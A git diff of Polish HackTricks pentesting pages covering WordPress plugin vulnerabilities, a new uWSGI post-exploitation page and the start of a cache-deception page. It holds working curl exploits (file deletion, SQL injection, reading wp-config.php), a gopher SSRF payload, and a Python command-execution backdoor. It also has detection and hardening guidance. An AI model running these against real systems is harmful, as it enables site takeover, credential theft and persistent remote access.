(e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania. +- Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków. Wzmocnienie - Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta. -- Jeśli reverse proxy musi wstrzykiwać tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera. -- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` i rygorystycznego `permission_callback` (NIE używaj `__return_true`). -- Preferuj uwierzytelnianie pierwszej strony (cookies, application passwords, OAuth) zamiast „impersonation” przez nagłówki. +- Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera. +- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` oraz rygorystycznego `permission_callback` (NIE używaj `__return_true`). +- Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”. References: see the links at the end of this page for a public case and broader analysis. @@ -445,29 +445,29 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove ``` Problemy wprowadzone przez ten fragment: -* **Dostęp bez uwierzytelnienia** – zarejestrowano hook `wp_ajax_nopriv_`. -* **Brak sprawdzania nonce / uprawnień** – każdy odwiedzający może trafić do tego endpointu. -* **Brak sanitizacji ścieżki** – ciąg sterowany przez użytkownika `fontfamily` jest konkatenowany do ścieżki w systemie plików bez filtrowania, pozwalając na klasyczny `../../` traversal. +* **Unauthenticated access** – zarejestrowano hook `wp_ajax_nopriv_`. +* **No nonce / capability check** – każdy odwiedzający może wywołać endpoint. +* **No path sanitisation** – kontrolowany przez użytkownika ciąg `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny `../../` traversal. -#### Eksploatacja +#### Exploitation -Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zazwyczaj `/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST: +Atakujący może usunąć dowolny plik lub katalog **poniżej bazowego katalogu uploads** (zwykle `/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Ponieważ `wp-config.php` znajduje się poza katalogiem *uploads*, w domyślnej instalacji wystarczą cztery sekwencje `../`. Usunięcie `wp-config.php` wymusza na WordPress uruchomienie *installation wizard* przy następnym odwiedzeniu strony, co umożliwia pełne przejęcie serwisu (atakujący jedynie dostarcza nową konfigurację DB i tworzy użytkownika admin). +Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress przejście do *kreatora instalacji* przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina). -Inne istotne cele to pliki `.php` w pluginach/motywach (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`. +Inne istotne cele to pliki plugin/theme `.php` (np. w celu wyłączenia security plugins) lub reguły `.htaccess`. -#### Lista kontrolna detekcji +#### Lista kontrolna wykrywania -* Każdy callback `add_action( 'wp_ajax_nopriv_...')`, który wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.). -* Łączenie niesanitizowanych danych wejściowych od użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`). +* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje funkcje pomocnicze systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.). +* Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`). * Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`. -#### Utwardzanie +#### Zabezpieczenia ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i sprawdź dwukrotnie: +> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź: > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Wiele wtyczek implementuje funkcję "view as role" lub tymczasową zmianę roli poprzez zapisanie oryginalnej(-ych) roli(-i) w user meta, aby można je było przywrócić później. Jeśli ścieżka przywracania opiera się wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i na liście utrzymywanej przez wtyczkę, bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation. +Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation. -Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). W gałęzi resetu przywracano role na podstawie `reset-for=` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonano sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`: +Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -513,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` Dlaczego to jest podatne -- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera. -- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, wywołując ścieżkę resetu. -- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (złamana autoryzacja). +- Ufa `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera. +- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić przez odwiedzenie reset path. +- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w `viewing_admin_as_role_are` (błędna autoryzacja). Wymagania wstępne ataku -- Wrażliwa wersja wtyczki z włączoną funkcją. -- Konto docelowe ma przeterminowaną rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia. -- Dowolna uwierzytelniona sesja; brak nonce/capability w ścieżce resetu. +- Wrażliwa wersja pluginu z włączoną funkcją. +- Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia. +- Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu. Eksploatacja (przykład) ```bash @@ -531,36 +531,36 @@ Eksploatacja (przykład) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -W podatnych wersjach usuwa to aktualne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia. +W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia. Detection checklist -- Szukaj funkcji przełączania ról, które zachowują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`). +- Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`). - Zidentyfikuj ścieżki resetowania/przywracania, które: - Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`. -- Modyfikują role za pomocą `add_role()` / `remove_role()` bez użycia `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. +- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. - Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień wykonawcy. Hardening -- Wymagaj sprawdzeń uprawnień w każdym fragmencie kodu zmieniającym stan (np. `current_user_can('manage_options')` lub surowsze). -- Wymagaj nonce'ów dla wszystkich zmian ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`. -- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i jawnej polityki. -- Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/rol, aby uniknąć przywrócenia przestarzałych wysokich uprawnień: +- Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne). +- Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`. +- Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki. +- Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` -- Rozważ przechowywanie minimalnego stanu i użycie tokenów ograniczonych czasowo, zabezpieczonych capability, do tymczasowych zmian ról. +- Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról. --- -### Eskalacja uprawnień bez uwierzytelnienia przez przełączanie użytkownika zaufane przez cookie na publicznym init (Service Finder “sf-booking”) +### Nieautoryzowana privilege escalation via cookie‑trusted user switching na publicznym `init` (Service Finder “sf-booking”) -Niektóre wtyczki podłączają funkcje pomocnicze do przełączania użytkowników do publicznego haka `init` i wyznaczają tożsamość na podstawie cookie kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, każdy niezalogowany odwiedzający może wymusić zalogowanie jako dowolny użytkownik o określonym ID. +Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka `init` i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika. -Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1): +Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -589,11 +589,11 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -Dlaczego jest to eksploatowalne +Dlaczego jest to podatne -- Publiczny hook `init` powoduje, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`). -- Tożsamość jest wyprowadzana z cookie modyfikowalnego po stronie klienta (`original_user_id`). -- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń capability/nonce. +- Publiczny hook `init` sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`). +- Tożsamość pochodzi z cookie modyfikowalnego przez klienta (`original_user_id`). +- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce. Eksploatacja (bez uwierzytelnienia) ```http @@ -605,32 +605,32 @@ Connection: close ``` --- -### Uwagi dotyczące WAF dla CVE WordPress/pluginów +### Rozważania dotyczące WAF dla WordPress/plugin CVEs -Ogólne WAFy brzegowe/serwerowe są dostrojone pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele błędów o dużym wpływie w WordPressie/wtyczkach to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPressa i semantykę wtyczek. +Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów. -Uwagi ofensywne +Notatki ofensywne -- Celuj w punkty końcowe specyficzne dla wtyczek za pomocą czystych payloadów: `admin-ajax.php?action=...`, `wp-json//`, niestandardowe handlery plików, shortcodes. -- Najpierw testuj ścieżki bez autoryzacji (AJAX `nopriv`, REST z pobłażliwym `permission_callback`, publiczne shortcodes). Domyślne payloady często działają bez obfuskacji. -- Typowe przypadki o dużym wpływie: eskalacja uprawnień (naruszona kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect. +- Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Najpierw testuj ścieżki bez uwierzytelnienia (AJAX `nopriv`, REST z permissive `permission_callback`, public shortcodes). Domyślne payloads często działają bez obfuskacji. +- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect. -Uwagi defensywne +Notatki defensywne -- Nie polegaj na ogólnych sygnaturach WAF, aby chronić CVE wtyczek. Wdróż virtual patches na warstwie aplikacji specyficzne dla danej podatności lub zaktualizuj szybko. -- Preferuj pozytywne mechanizmy bezpieczeństwa w kodzie (capabilities, nonces, rygorystyczna walidacja wejścia) zamiast negatywnych filtrów regex. +- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko. +- Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex. ## Ochrona WordPress ### Regularne aktualizacje -Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php: +Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**. +Również, **instaluj tylko zaufane wtyczki i motywy WordPress**. ### Wtyczki bezpieczeństwa @@ -642,12 +642,12 @@ Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**. - Usuń domyślnego użytkownika **admin** - Używaj **silnych haseł** i **2FA** -- Okresowo **przeglądaj** **uprawnienia** użytkowników -- **Ogranicz liczbę prób logowania** aby zapobiec atakom Brute Force -- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP. +- Okresowo **przeglądaj** uprawnienia użytkowników +- **Ogranicz liczbę prób logowania**, aby zapobiec atakom Brute Force +- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP. -### Nieuwierzytelniony SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) +### SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2) Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`: ```php @@ -659,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Problemy wprowadzone przez ten fragment: +Issues introduced by this snippet: -1. **Unsanitised user input** – `parentid` pochodzi bezpośrednio z żądania HTTP. -2. **String concatenation inside the WHERE clause** – brak `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyna kontrola to **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`. +1. **Niezabezpieczone dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP. +2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement. +3. **Dostęp bez uwierzytelnienia** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode `[wpjobportal_my_resumes]`. -#### Exploitation +#### Eksploatacja 1. Pobierz świeży nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Wstrzyknij dowolne SQL wykorzystując `parentid`: +2. Wstrzyknij dowolne SQL, wykorzystując `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -679,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi. +Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Kolejne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik na dysku** poprzez path traversal. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: +Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku z dysku** przez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną przeszkodą jest **CSRF nonce**, który można pobrać ze strony z CV. +`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanityzacji**. Ponownie, jedyną blokadą jest **CSRF nonce**, który można pobrać ze strony resume. -#### Exploitation +#### Eksploatacja ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -703,7 +703,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys. -## Źródła +## Odnośniki - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md new file mode 100644 index 000000000..bd780b09a --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -0,0 +1,170 @@ +# WSGI Post-Exploitation Tricks + +{{#include ../../banners/hacktricks-training.md}} + +## WSGI Przegląd + +Web Server Gateway Interface (WSGI) to specyfikacja opisująca, jak serwer WWW komunikuje się z aplikacjami webowymi oraz jak aplikacje webowe mogą być łańcuszkowane, aby przetworzyć jedno żądanie. uWSGI jest jednym z najpopularniejszych serwerów WSGI, często używany do serwowania aplikacji webowych w Pythonie. + +## Eksploatacja magicznych zmiennych uWSGI + +uWSGI udostępnia specjalne "magic variables", które mogą być użyte do dynamicznej konfiguracji zachowania serwera. Zmienne te można ustawić poprzez nagłówki HTTP i mogą prowadzić do poważnych luk w zabezpieczeniach, jeśli nie są prawidłowo walidowane. + +### Kluczowe zmienne podatne na eksploatację + +#### `UWSGI_FILE` - Wykonanie dowolnego pliku +``` +uwsgi_param UWSGI_FILE /path/to/python/file.py; +``` +Ta zmienna umożliwia ładowanie i wykonywanie dowolnych plików Pythona jako aplikacji WSGI. Jeśli atakujący może kontrolować ten parametr, może osiągnąć Remote Code Execution (RCE). + +#### `UWSGI_SCRIPT` - Ładowanie skryptu +``` +uwsgi_param UWSGI_SCRIPT module.path:callable; +uwsgi_param SCRIPT_NAME /endpoint; +``` +Wczytuje określony skrypt jako nową aplikację. W połączeniu z file upload lub write capabilities, może to prowadzić do RCE. + +#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading +``` +uwsgi_param UWSGI_MODULE malicious.module; +uwsgi_param UWSGI_CALLABLE evil_function; +uwsgi_param SCRIPT_NAME /backdoor; +``` +Te parametry pozwalają na ładowanie dowolnych modułów Pythona i wywoływanie w nich konkretnych funkcji. + +#### `UWSGI_SETENV` - Manipulacja zmiennymi środowiskowymi +``` +uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings; +``` +Może służyć do modyfikowania environment variables, potencjalnie wpływając na zachowanie aplikacji lub powodując ładowanie złośliwej konfiguracji. + +#### `UWSGI_PYHOME` - Python Environment Manipulation +``` +uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; +``` +Zmienia wirtualne środowisko Pythona, potencjalnie ładując złośliwe pakiety lub inne interpretery Pythona. + +#### `UWSGI_CHDIR` - Directory Traversal +``` +uwsgi_param UWSGI_CHDIR /etc/; +``` +Zmienia katalog roboczy przed przetwarzaniem żądań, co może zostać wykorzystane do ataków typu path traversal. + +## SSRF + Gopher do + +### The Attack Vector + +Gdy uWSGI jest dostępny przez SSRF (Server-Side Request Forgery), atakujący mogą wchodzić w interakcję z wewnętrznym socketem uWSGI, aby wykorzystać zmienne magiczne. Jest to szczególnie niebezpieczne, gdy: + +1. Aplikacja ma podatności SSRF +2. uWSGI działa na wewnętrznym porcie/socket +3. Aplikacja nie waliduje poprawnie zmiennych magicznych + +uWSGI jest dostępny z powodu SSRF, ponieważ plik konfiguracyjny `uwsgi.ini` zawiera: `socket = 127.0.0.1:5000`, co sprawia, że jest dostępny z aplikacji webowej poprzez SSRF. + +### Exploitation Example + +#### Krok 1: Create Malicious Payload + +Najpierw wstrzyknij kod Python do pliku dostępnego dla serwera (zapis pliku wewnątrz serwera, rozszerzenie pliku nie ma znaczenia): +```python +# Payload injected into a JSON profile file +import os +os.system("/readflag > /app/profiles/result.json") +``` +#### Krok 2: Przygotuj żądanie protokołu uWSGI +Użyj protokołu Gopher, aby wysłać surowe pakiety uWSGI: +``` +gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json +``` +This payload: +- Nawiązuje połączenie z uWSGI na porcie 5000 +- Ustawia `UWSGI_FILE`, tak by wskazywał na złośliwy plik +- Zmusi uWSGI do załadowania i wykonania kodu Pythona + +### uWSGI Protocol Structure + +The uWSGI protocol uses a binary format where: +- Zmienne są kodowane jako ciągi poprzedzone informacją o długości +- Każda zmienna ma: `[name_length][name][value_length][value]` +- Pakiet zaczyna się nagłówkiem zawierającym całkowity rozmiar + +## Post-Exploitation Techniques + +### 1. Persistent Backdoors + +#### File-based Backdoor +```python +# backdoor.py +import subprocess +import base64 + +def application(environ, start_response): +cmd = environ.get('HTTP_X_CMD', '') +if cmd: +result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) +response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" +else: +response = "Backdoor active" + +start_response('200 OK', [('Content-Type', 'text/plain')]) +return [response.encode()] +``` +Następnie użyj `UWSGI_FILE`, aby załadować ten backdoor: +``` +uwsgi_param UWSGI_FILE /tmp/backdoor.py; +uwsgi_param SCRIPT_NAME /admin; +``` +#### Persistence oparta na zmiennych środowiskowych +``` +uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages; +``` +### 2. Ujawnianie informacji + +#### Zrzut zmiennych środowiskowych +```python +# env_dump.py +import os +import json + +def application(environ, start_response): +env_data = { +'os_environ': dict(os.environ), +'wsgi_environ': dict(environ) +} + +start_response('200 OK', [('Content-Type', 'application/json')]) +return [json.dumps(env_data, indent=2).encode()] +``` +#### Dostęp do systemu plików +Użyj `UWSGI_CHDIR` w połączeniu z serwowaniem plików, aby uzyskać dostęp do wrażliwych plików: +``` +uwsgi_param UWSGI_CHDIR /etc/; +uwsgi_param UWSGI_FILE /app/file_server.py; +``` +### 3. Privilege Escalation + +#### Socket Manipulation +Jeśli uWSGI działa z podwyższonymi uprawnieniami, attackers mogą manipulować socket permissions: +``` +uwsgi_param UWSGI_CHDIR /tmp; +uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data; +``` +#### Nadpisanie konfiguracji +```python +# malicious_config.py +import os + +# Override uWSGI configuration +os.environ['UWSGI_MASTER'] = '1' +os.environ['UWSGI_PROCESSES'] = '1' +os.environ['UWSGI_CHEAPER'] = '1' +``` +## Źródła + +- [Dokumentacja zmiennych magicznych uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) +- [Opis rozwiązania IOI SaveData CTF](https://bugculture.io/writeups/web/ioi-savedata) +- [Najlepsze praktyki bezpieczeństwa uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index bf6e08a28..69f3e16ee 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -6,65 +6,65 @@ > **Jaka jest różnica między web cache poisoning a web cache deception?** > -> - In **web cache poisoning**, atakujący powoduje, że aplikacja zapisuje złośliwą treść w cache, a ta treść jest serwowana z cache innym użytkownikom aplikacji. -> - In **web cache deception**, atakujący powoduje, że aplikacja zapisuje w cache wrażliwe dane należące do innego użytkownika, a następnie atakujący pobiera te dane z cache. +> - W **web cache poisoning** atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji. +> - W **web cache deception** atakujący powoduje, że aplikacja zapisuje w cache poufną zawartość należącą do innego użytkownika, a następnie atakujący odczytuje tę zawartość z cache. ## Cache Poisoning -Cache poisoning ma na celu manipulowanie pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Skala wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia cache. +Cache poisoning ma na celu manipulację client-side cache w celu zmuszenia klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Zakres wpływu zależy od popularności zaatakowanej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w czasie trwania zanieczyszczenia cache. Wykonanie ataku cache poisoning obejmuje kilka kroków: -1. **Identification of Unkeyed Inputs**: Są to parametry, które, chociaż nie są brane pod uwagę przy tworzeniu cache dla żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych parametrów jest kluczowa, ponieważ można je wykorzystać do manipulacji cache. -2. **Exploitation of the Unkeyed Inputs**: Po zidentyfikowaniu parametrów niewchodzących w klucz cache, kolejnym krokiem jest ustalenie, jak można nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera na korzyść atakującego. -3. **Ensuring the Poisoned Response is Cached**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. W ten sposób każdy użytkownik odwiedzający dotkniętą stronę w czasie, gdy cache jest skażony, otrzyma taką odpowiedź. +1. **Identyfikacja parametrów niekluczowych**: Są to parametry, które, choć nie są wymagane, aby żądanie było zapisane w cache, mogą zmienić odpowiedź zwracaną przez serwer. Identyfikacja tych parametrów jest kluczowa, ponieważ mogą być wykorzystane do manipulacji cache. +2. 